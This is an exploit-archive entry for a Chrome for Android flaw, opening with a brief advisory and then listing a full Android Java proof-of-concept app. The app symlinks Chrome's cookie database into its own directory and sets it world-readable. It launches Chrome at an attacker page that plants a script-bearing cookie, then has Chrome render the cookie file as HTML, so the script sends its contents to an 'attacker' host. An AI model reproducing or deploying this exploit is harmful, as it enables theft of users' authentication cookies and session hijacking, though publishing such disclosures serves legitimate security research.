Google Chrome for Android - Local Application Handling Cookie Theft

source: https://www.securityfocus.com/bid/55523/info

Google Chrome for Android is prone to multiple vulnerabilities.

Attackers may exploit these issues to execute arbitrary code in the context of the browser, obtain potentially sensitive information, bypass the same-origin policy, and steal cookie-based authentication credentials; other attacks are also possible.

Versions prior to Chrome for Android 18.0.1025308 are vulnerable.

package jp.mbsd.terada.attackchrome1;

  import android.app.Activity;
  import android.os.Bundle;
  import android.util.Log;
  import android.content.Intent;
  import android.net.Uri;

  public class Main extends Activity {
    // TAG for logging.
    public final static String TAG = "attackchrome1";

    // Cookie file path of Chrome.
    public final static String CHROME_COOKIE_FILE_PATH =
      "/data/data/com.android.chrome/app_chrome/Default/Cookies";

    // Temporaly directory in which the symlink will be created.
    public final static String MY_TMP_DIR =
      "/data/data/jp.mbsd.terada.attackchrome1/tmp/";

    // The path of the Symlink (must have "html" extension)
    public final static String LINK_PATH = MY_TMP_DIR + "cookie.html";

    @Override
    public void onCreate(Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      setContentView(R.layout.main);
      doit();
    }

    // Method to invoke Chrome.
    public void invokeChrome(String url) {
      Intent intent = new Intent("android.intent.action.VIEW");
      intent.setClassName("com.android.chrome", "com.google.android.apps.chrome.Main");
      intent.setData(Uri.parse(url));
      startActivity(intent);
    }

    // Method to execute OS command.
    public void cmdexec(String[] cmd) {
      try {
        Runtime.getRuntime().exec(cmd);
      }
      catch (Exception e) {
        Log.e(TAG, e.getMessage());
      }
    }

    // Main method.
    public void doit() {
      try {
        // Create the symlink in this app's temporary directory.
        // The symlink points to Chrome's Cookie file.
        cmdexec(new String[] {"/system/bin/mkdir", MY_TMP_DIR});
        cmdexec(new String[] {"/system/bin/ln", "-s", CHROME_COOKIE_FILE_PATH, LINK_PATH});
        cmdexec(new String[] {"/system/bin/chmod", "-R", "777", MY_TMP_DIR});

        Thread.sleep(1000);

        // Force Chrome to load attacker's web page to poison Chrome's Cookie file.
        // Suppose the web page sets a Cookie as below.
        //   x=<img><script>document.images[0].src='http://attacker/?'
        //     +encodeURIComponent(document.body.innerHTML)</script>;
        //     expires=Tue, 01-Jan-2030 00:00:00 GMT
        String url1 = "http://attacker/set_malicious_cookie.php";
        invokeChrome(url1);

        Thread.sleep(10000);

        // Force Chrome to load the symlink.
        // Chrome renders the content of the Cookie file as HTML.
        String url2 = "file://" + LINK_PATH;
        invokeChrome(url2);
      }
      catch (Exception e) {
        Log.e(TAG, e.getMessage());
      }
    }
  }